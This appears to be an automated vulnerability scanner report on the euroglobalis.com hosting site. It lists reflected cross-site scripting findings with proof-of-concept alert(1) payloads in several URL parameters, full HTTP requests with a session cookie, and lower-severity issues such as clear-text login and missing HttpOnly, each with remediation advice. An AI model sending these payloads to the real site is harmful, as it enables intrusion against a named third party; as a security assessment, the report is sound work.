Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ht request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d54e9"><script>alert(1)</script>c1af36260db was submitted in the ht parameter. This input was echoed as d54e9\"><script>alert(1)</script>c1af36260db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?lang=en&action=aboutus&submenu=data_center&subsubmenu=us_datacenter_01&ht=vpsd54e9"><script>alert(1)</script>c1af36260db HTTP/1.1 Host: euroglobalis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: vid_vps_no=1; PHPSESSID=3e094807f44435fd13eee77cb5f36386; sc=midnsne; referer=http%3A%2F%2Feuroglobalis.com%2F%3Flang%3Den%26action%3Dvps-hosting%3Arg%3Aunknown;
The value of the lang request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 286f6</script><script>alert(1)</script>35e5fb2fc22 was submitted in the lang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?lang=en286f6</script><script>alert(1)</script>35e5fb2fc22&action=vps-hosting HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the lang request parameter is copied into a JavaScript rest-of-line comment. The payload e057c%0aalert(1)//7b0043a294e was submitted in the lang parameter. This input was echoed as e057c alert(1)//7b0043a294e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?lang=ene057c%0aalert(1)//7b0043a294e&action=vps-hosting HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59048"><script>alert(1)</script>97e409de9ec was submitted in the lang parameter. This input was echoed as 59048\"><script>alert(1)</script>97e409de9ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?lang=en59048"><script>alert(1)</script>97e409de9ec&action=vps-hosting HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<html> <head> <title>Euro Globalis Internet Solutions</title> <meta name="description" content="Cheap webhosting service, 15,000MB storage. Managed your domains.">" /> <meta name="creator" c ...[SNIP]... <a href="http://euroglobalis.com/?lang=en59048\"><script>alert(1)</script>97e409de9ec&action=home" > ...[SNIP]...
1.5. http://euroglobalis.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://euroglobalis.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b738"><script>alert(1)</script>dea3854b5d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?lang=en&action=terms§ion=privacy_policy&5b738"><script>alert(1)</script>dea3854b5d4=1 HTTP/1.1 Host: euroglobalis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: vid_vps_no=1; PHPSESSID=3e094807f44435fd13eee77cb5f36386; sc=midnsne; referer=http%3A%2F%2Feuroglobalis.com%2F%3Flang%3Den%26action%3Dvps-hosting%3Arg%3Aunknown;
The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d274c"><script>alert(1)</script>a56d936332e was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?lang=en&action=terms§ion=privacy_policyd274c"><script>alert(1)</script>a56d936332e HTTP/1.1 Host: euroglobalis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: vid_vps_no=1; PHPSESSID=3e094807f44435fd13eee77cb5f36386; sc=midnsne; referer=http%3A%2F%2Feuroglobalis.com%2F%3Flang%3Den%26action%3Dvps-hosting%3Arg%3Aunknown;
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://euroglobalis.com/?lang=en&action=members
The form contains the following password field:
password
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /?lang=en&action=members HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Referer: http://euroglobalis.com/?lang=en&action=vps-hosting Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=3e094807f44435fd13eee77cb5f36386; vid_vps_no=1
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /templates/16/images/domain_search.jpg?PHPSESSID=3e094807f44435fd13eee77cb5f36386 HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Referer: http://euroglobalis.com/?lang=en&action=vps-hosting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=3e094807f44435fd13eee77cb5f36386; vid_vps_no=1
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /?lang=en&action=vps-hosting HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<html> <head> <title>Euro Globalis Internet Solutions</title> <meta name="description" content="Cheap webhosting service, 15,000MB storage. Managed your domains.">" /> <meta name="creator" c ...[SNIP]...
5. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://euroglobalis.com
Path:
/
Issue detail
The page contains a form with the following action URL:
http://euroglobalis.com/?lang=en&action=members
The form contains the following password field with autocomplete enabled:
password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /?lang=en&action=members HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Referer: http://euroglobalis.com/?lang=en&action=vps-hosting Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=3e094807f44435fd13eee77cb5f36386; vid_vps_no=1
The application appears to disclose some server-side source code written in PHP and ASP.
Issue background
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
Request
GET /videos/DuoServers-VPS-640.flv HTTP/1.1 Host: euroglobalis.com Proxy-Connection: keep-alive Referer: http://euroglobalis.com/player_flv.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=3e094807f44435fd13eee77cb5f36386; vid_vps_no=1